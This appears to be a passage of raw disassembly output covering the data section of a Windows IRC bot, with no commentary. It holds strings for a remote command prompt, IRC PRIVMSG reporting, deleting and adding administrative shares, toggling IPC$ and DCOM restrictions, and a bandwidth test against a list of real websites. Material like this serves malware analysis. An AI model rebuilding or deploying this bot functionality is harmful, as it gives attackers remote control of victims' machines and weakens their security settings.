db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_439C3C db 2Dh ; - ; DATA XREF: sub_419DD9+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_439C60 db 2Dh ; - ; DATA XREF: sub_419DD9+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419F76+33o unk_439C90 db 2Dh ; - ; DATA XREF: sub_419FFD:loc_41A12Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439CC0 db 2Dh ; - ; DATA XREF: sub_419FFD+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419FFD:loc_41A0E3o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_439D18 db 2Dh ; - ; DATA XREF: sub_41A152+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_439D4C db 2Dh ; - ; DATA XREF: sub_41A152+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_439D70 dd offset dword_439DA8 ; DATA XREF: sub_41A367+1B3o ; sub_41A68B+17Ao align 8 dd offset dword_439DA0 align 10h off_439D80 dd offset dword_439D9C ; DATA XREF: sub_41A68B+1E3o dd offset dword_439D98 dd offset dword_439D94 dd offset dword_439D90 dword_439D90 dd 5C3A44h ; DATA XREF: sub_41A367+217o ; ___:00439D8Co dword_439D94 dd 2444h ; DATA XREF: ___:00439D88o dword_439D98 dd 5C3A43h ; DATA XREF: ___:00439D84o dword_439D9C dd 2443h ; DATA XREF: ___:off_439D80o dword_439DA0 dd 494D4441h, 244Eh ; DATA XREF: ___:00439D78o dword_439DA8 dd 24435049h, 0 ; DATA XREF: ___:off_439D70o dword_439DB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+2E5o ; sub_41A68B+2D8o aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439DE0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439E08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A5C9o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439E34 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439E58 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A536o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439E84 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439EA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A499o ; sub_41A68B:loc_41A7B9o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439ED8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A492o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439F14 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A474o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439F48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A367+EDo ; sub_41A68B+EDo align 4 dword_439F98 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+91o ; sub_41A68B+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439FC8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A367:loc_41A3D4o dd 62617369h, 2E64656Ch, 0 dword_439FE8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A367+54o ; sub_41A68B+54o align 4 dword_43A018 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+2C0o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A68B+22Ao align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A68B+219o dword_43A048 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A82Ao ; sub_41A68B:loc_41A8F8o aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A070 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+198o ; sub_41A68B+266o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A090 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A7B2o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A0CC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A794o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A104 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A144 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A68B:loc_41A6F8o dd 6C62616Eh, 2E6465h dword_43A160 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A9BC+DEo db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_43A1B8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41AB97+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41AB97+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41AB97+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41AB97+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41AB97+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AB97+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AB97+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41AB97+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41AB97+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41AB97+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41AB97+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41AB97+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41AB97+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41AB97+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41AB97+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41AB97+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41AB97+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41AB97+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41AB97+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41AB97+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41AB97+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41AB97+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41AB97+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41AB97+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41AB97+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41AB97+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41AB97+15o dword_43A3C4 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AF2B+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A4A0 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF2B+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF2B:loc_41B08Fo align 4 dword_43A4C4 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B1DF+ABo dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A508 dd offset loc_412F4E ; DATA XREF: sub_41B1DF:loc_41B253o off_43A50C dd offset dword_4E414C ; DATA XREF: sub_41B1DF:loc_41B24Co dword_43A510 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B1DF+5Bo dword_43A518 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B1DF+48o unk_43A528 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B45Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A558 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B457o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43A584 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B2A5+1A0o dd 4C525520h, 2Eh unk_43A5A0 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B438o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A5DC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B2A5+18Co dd 64657469h, 2Eh dword_43A5F8 dd 2A2F2Ah ; DATA XREF: sub_41B2A5+3Bo word_43A5FC dw 4 ; DATA XREF: sub_41B4FB+10r align 10h dword_43A600 dd 6325h ; DATA XREF: ___:0041B83Co dword_43A604 dd 0DFFh ; DATA XREF: ___:0041B68Ao dword_43A608 dd 51FFh ; DATA XREF: ___:0041B67Fo dword_43A60C dd 0EBFFh ; DATA XREF: ___:0041B674o dword_43A610 dd 201h ; DATA XREF: ___:0041B65Fo dword_43A614 dd 20424652h, 2E333030h, 0A383030h, 4 dup(0) ; DATA XREF: ___:0041B64Do dword_43A630 dd 724566BEh ; DATA XREF: sub_41C058+4w sub_41C062r ... align 10h dword_43A640 dd 173Fh ; DATA XREF: sub_41CDE5+Dr dd 9875h, 9873h off_43A64C dd offset sub_41CEB4 ; DATA XREF: ___:0041BF04r ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0CEh, 41h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0CEh, 41h, 0 dword_43A658 dd 1B3Fh ; DATA XREF: sub_41CF2B+Dr dword_43A65C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D3AD+2o ; sub_41D3B6+2o off_43A670 dd offset sub_41BF42 ; DATA XREF: sub_41E1C9+1Cr dword_43A674 dd 2 ; DATA XREF: sub_423498+Er ; sub_4234D1+46r ... dd 10h dword_43A67C dd 3F8h ; DATA XREF: sub_41BB48+4Dr ; sub_41BCD9+5r ... off_43A680 dd offset word_43A68A ; DATA XREF: sub_41BE6E+23r ; sub_41BE6E:loc_41BECFr ... off_43A684 dd offset word_43A68A ; DATA XREF: sub_426B2A+18r db 2 dup(0) word_43A68A dw 20h ; DATA XREF: sub_424C57+18r ; ___:off_43A680o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43A88C dd 1 ; DATA XREF: sub_41BE6E:loc_41BE76r ; sub_41BE6E:loc_41BEBAr ... byte_43A890 db 2Eh ; DATA XREF: sub_420445:loc_420739r ; sub_420445+311r ... align 4 dd 1 off_43A898 dd offset aNull_0 ; DATA XREF: sub_41F5D4:loc_41F938r ; sub_41F5D4+457r ; "(null)" off_43A89C dd offset aNull ; DATA XREF: sub_41F5D4+259r ; "(null)" byte_43A8A0 db 1 ; DATA XREF: sub_41FDDE+E1r db 2, 4, 8 align 8 dword_43A8A8 dd 3A4h ; DATA XREF: sub_41FDDE+2Fo dword_43A8AC dd 82798260h, 21h, 0 ; DATA XREF: sub_41FDDE+11Dr dword_43A8B8 dd 0DFA6h ; DATA XREF: sub_41FDDE+C0r align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43A998 dd 1 ; DATA XREF: sub_41FDDE+3Co ; sub_420314+Co dword_43A99C dd 16h ; DATA XREF: sub_420314:loc_420349r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43AB00 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420314+19o ; sub_420445:loc_4209ACo dword_43AB08 dd 5Dh, 0 ; DATA XREF: sub_420445:loc_42089Co dword_43AB10 dd 14h ; DATA XREF: sub_421559+2o off_43AB14 dd offset aExp ; DATA XREF: sub_421559:loc_421576r ; "exp" dd 1Dh, 427840h, 1Ah, 42C61Ch, 1Bh, 427838h, 1Fh, 427830h dd 13h, 427828h, 21h, 427820h, 0Eh, 427818h, 0Dh, 427810h dd 0Fh, 427808h, 10h, 427800h, 5, 4277F8h, 1Eh, 4277F4h dd 12h, 4277F0h, 20h, 4277ECh, 0Ch, 4277E4h, 0Bh, 4277DCh dd 15h, 4277D4h, 1Ch, 4277CCh, 19h, 4277C4h, 11h, 4277BCh dd 18h, 4277B4h, 16h, 4277ACh, 17h, 4277A4h, 22h, 4277A0h dd 23h, 42779Ch, 24h, 427798h dbl_43ABE8 dq 1.797693134862316e308 ; DATA XREF: sub_421294+B7r ; sub_421294:loc_42137Br ... dd 0 dd 0FFF80000h dbl_43ABF8 dq 1.797693134862316e308 ; DATA XREF: sub_421294+92r ; sub_421294:loc_421353r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43AC10 dt 2.3562723457267347066e313 ; DATA XREF: sub_421741+Dr ; sub_421741+1Fr align 4 tbyte_43AC1C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421741+31r align 4 off_43AC28 dd offset sub_421BD5 ; DATA XREF: sub_41CECC+Fw ; sub_41F5D4+3AAr off_43AC2C dd offset sub_42186A ; DATA XREF: sub_41CECC+5w ; sub_41F5D4+3E2r off_43AC30 dd offset sub_4218D0 ; DATA XREF: sub_41CECC+14w ; sub_420445+430r off_43AC34 dd offset sub_421810 ; DATA XREF: sub_41CECC+1Ew ; sub_41F5D4+3CBr off_43AC38 dd offset sub_4218B8 ; DATA XREF: sub_41CECC+28w off_43AC3C dd offset sub_421BD5 ; DATA XREF: sub_41CECC+32w dd offset sub_42461C align 10h dd offset sub_42249C off_43AC54 dd offset sub_42249C ; DATA XREF: sub_4224F2+29r dword_43AC58 dd 0C0000005h ; DATA XREF: sub_422D37+Ar ; sub_422D37+11o ... dword_43AC5C dd 0Bh ; DATA XREF: sub_42595E+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43ACD0 dd 3 ; DATA XREF: ___:00422C4Er ; sub_425831+C8r dword_43ACD4 dd 7 ; DATA XREF: ___:00422C54r ; sub_425831+CDr dword_43ACD8 dd 0Ah ; DATA XREF: sub_422D37+4r ; sub_42595E+4r dword_43ACDC dd 8Ch ; DATA XREF: ___:00422C78r ; ___:00422C85w ... dword_43ACE0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41EF78:loc_41EFF9o ; sub_41F4BF:loc_41F57Co dword_43ACE8 dd 2 ; DATA XREF: sub_4234D1+Eo ; sub_4234D1+28r off_43ACEC dd offset aR6002FloatingP ; DATA XREF: sub_4234D1+FCr ; sub_4234D1+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B5Ch, 9, 427B30h, 0Ah, 427B0Ch, 10h, 427AE0h dd 11h, 427AB0h, 12h, 427A8Ch, 13h, 427A60h, 18h, 427A28h dd 19h, 427A00h, 1Ah, 4279C8h, 1Bh, 427990h, 1Ch, 427968h dd 78h, 427958h, 79h, 427948h, 7Ah, 427938h, 0FCh, 4341E4h dd 0FFh, 427928h off_43AD78 dd offset dword_4D9A40 ; DATA XREF: sub_4234D1+1Bo ; sub_42383E+55o align 10h dd offset dword_4D9A40 dd 101h dword_43AD88 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42383E+72o dd 1000h, 0 dword_43AD98 dd 3 dup(0) ; DATA XREF: sub_41F4BF+50o ; sub_42037B+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43ADB8 dd 3 dup(0) ; DATA XREF: sub_41F4BF+58o ; sub_42037B:loc_420399o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43ADE8 dd 84h dup(0) ; DATA XREF: sub_42383E+9Bo dword_43AFF8 dd 2 dup(0) ; DATA XREF: sub_42383E+69o dword_43B000 dd 2694h ; DATA XREF: sub_420EF6+3r ; sub_420F49+46r align 8 dword_43B008 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4243FCo dword_43B020 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424412o dword_43B038 dd 7080h ; DATA XREF: sub_422571+76r ; sub_4246FC+5Ew ... dword_43B03C dd 1 ; DATA XREF: sub_422571+98r ; sub_4246FC+8Bw ... dword_43B040 dd 0FFFFF1F0h ; DATA XREF: sub_422571:loc_422623r ; sub_4246FC+94w ... off_43B044 dd offset dword_545350 ; DATA XREF: ___:off_43B0C4o dd 0Fh dup(0) off_43B084 dd offset dword_544450 ; DATA XREF: ___:off_43B0C8o dd 0Fh dup(0) off_43B0C4 dd offset off_43B044 ; DATA XREF: sub_4246FC+BAr ; sub_4246FC+D9r ... off_43B0C8 dd offset off_43B084 ; DATA XREF: sub_4246FC+F4r ; sub_4246FC+11Br ... align 10h dword_43B0D0 dd 0FFFFFFFFh ; DATA XREF: sub_4246FC+1Dw ; sub_42495A+1Er ... dword_43B0D4 dd 0 ; DATA XREF: sub_42495A:loc_424A8Er ; sub_424B06+BFw dword_43B0D8 dd 0 ; DATA XREF: sub_42495A+192r ; sub_424B06+E0w align 10h dword_43B0E0 dd 0FFFFFFFFh ; DATA XREF: sub_4246FC+17w ; sub_42495A+26r ... dword_43B0E4 dd 0 ; DATA XREF: sub_42495A+13Ar ; sub_424B06+EAw ... dword_43B0E8 dd 0 ; DATA XREF: sub_42495A+1A1r ; sub_424B06+23r ... dword_43B0EC dd 0FFFFFFFFh ; DATA XREF: sub_424B06+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43B11C dd 16Dh ; DATA XREF: sub_422571+2Ar ; sub_424B06+2Er ... dword_43B120 dd 0FFFFFFFFh ; DATA XREF: sub_424B06:loc_424B92r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43B158 dd 2 dup(0) ; DATA XREF: sub_425CB6+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43B2B8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425CB6+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43B414 dd offset off_427D30 ; DATA XREF: ___:00427F0Co ; ___:00427FF8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43B42C dd offset off_427D30 ; DATA XREF: ___:off_427DC0o ; ___:00427E00o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43B44C dd offset off_427D30 ; DATA XREF: ___:off_427E08o ; ___:00427E4Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43B46C dd offset off_427D30 ; DATA XREF: ___:off_427E54o ; ___:00427E98o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43B490 dd offset off_427D30 ; DATA XREF: ___:off_427EA0o ; ___:00427EDCo align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42461C align 10h dword_43B4B0 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o byte_43B4B8 db 0 ; DATA XREF: sub_40111D+62o ; ___:0040146Bo ... align 10h dword_43B4C0 dd 0 ; DATA XREF: ___:004015ADo ; sub_401AC7+ADFo ... dd 5 dup(0) dword_43B4D8 dd 0 ; DATA XREF: sub_401AC7+B3Br ; sub_415BF6+60r dd 2D9h dup(0) dword_43C040 dd 0 ; DATA XREF: sub_401AC7+5DD3r ; sub_401AC7+5ECDr ... dd 7Fh dup(0) dword_43C240 dd 0 ; DATA XREF: sub_40B3AD+41w ; sub_40B4E8+40w ... dword_43C244 dd 0 ; DATA XREF: sub_40B3AD+47w ; sub_40B4E8+46w ... dword_43C248 dd 0 ; DATA XREF: sub_40B3AD+52w ; sub_40B4E8+3Ar ... dword_43C24C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017E7+B9w ... dword_43C250 dd 0 ; DATA XREF: sub_40B4E8+75r ; sub_40B6C9+2Aw ... dword_43C254 dd 0 ; DATA XREF: ___:004015F9w ; ___:00401671w ... byte_43C258 db 0 ; DATA XREF: sub_4017E7+91o ; sub_401AC7+5D21r ... align 4 dword_43C25C dd 253Dh dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00434124o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437DE8o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_438854o dd 0E306h dup(0) dword_49005C dd 937Eh dup(0) ; DATA XREF: ___:off_4329A0o db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43166Co dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_4386C0o dd 4F7Eh dup(0) dword_4C9040 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B3AD+13o ... dword_4C9044 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401AC7:loc_404474r ... dword_4C9048 dd 0 ; DATA XREF: ___:loc_4016F9o dword_4C904C dd 20h dup(0) ; DATA XREF: ___:004016B0o ; ___:0040174Ao ... dword_4C90CC dd 10h dup(0) ; DATA XREF: ___:004016C6o dword_4C910C dd 24h dup(0) ; DATA XREF: ___:004016DDo dword_4C919C dd 0 ; DATA XREF: ___:004016D1w ; ___:00401761w ... dword_4C91A0 dd 0 ; DATA XREF: ___:004016F0w align 10h dword_4C91B0 dd 0 ; DATA XREF: ___:0040135Br dword_4C91B4 dd 0 ; DATA 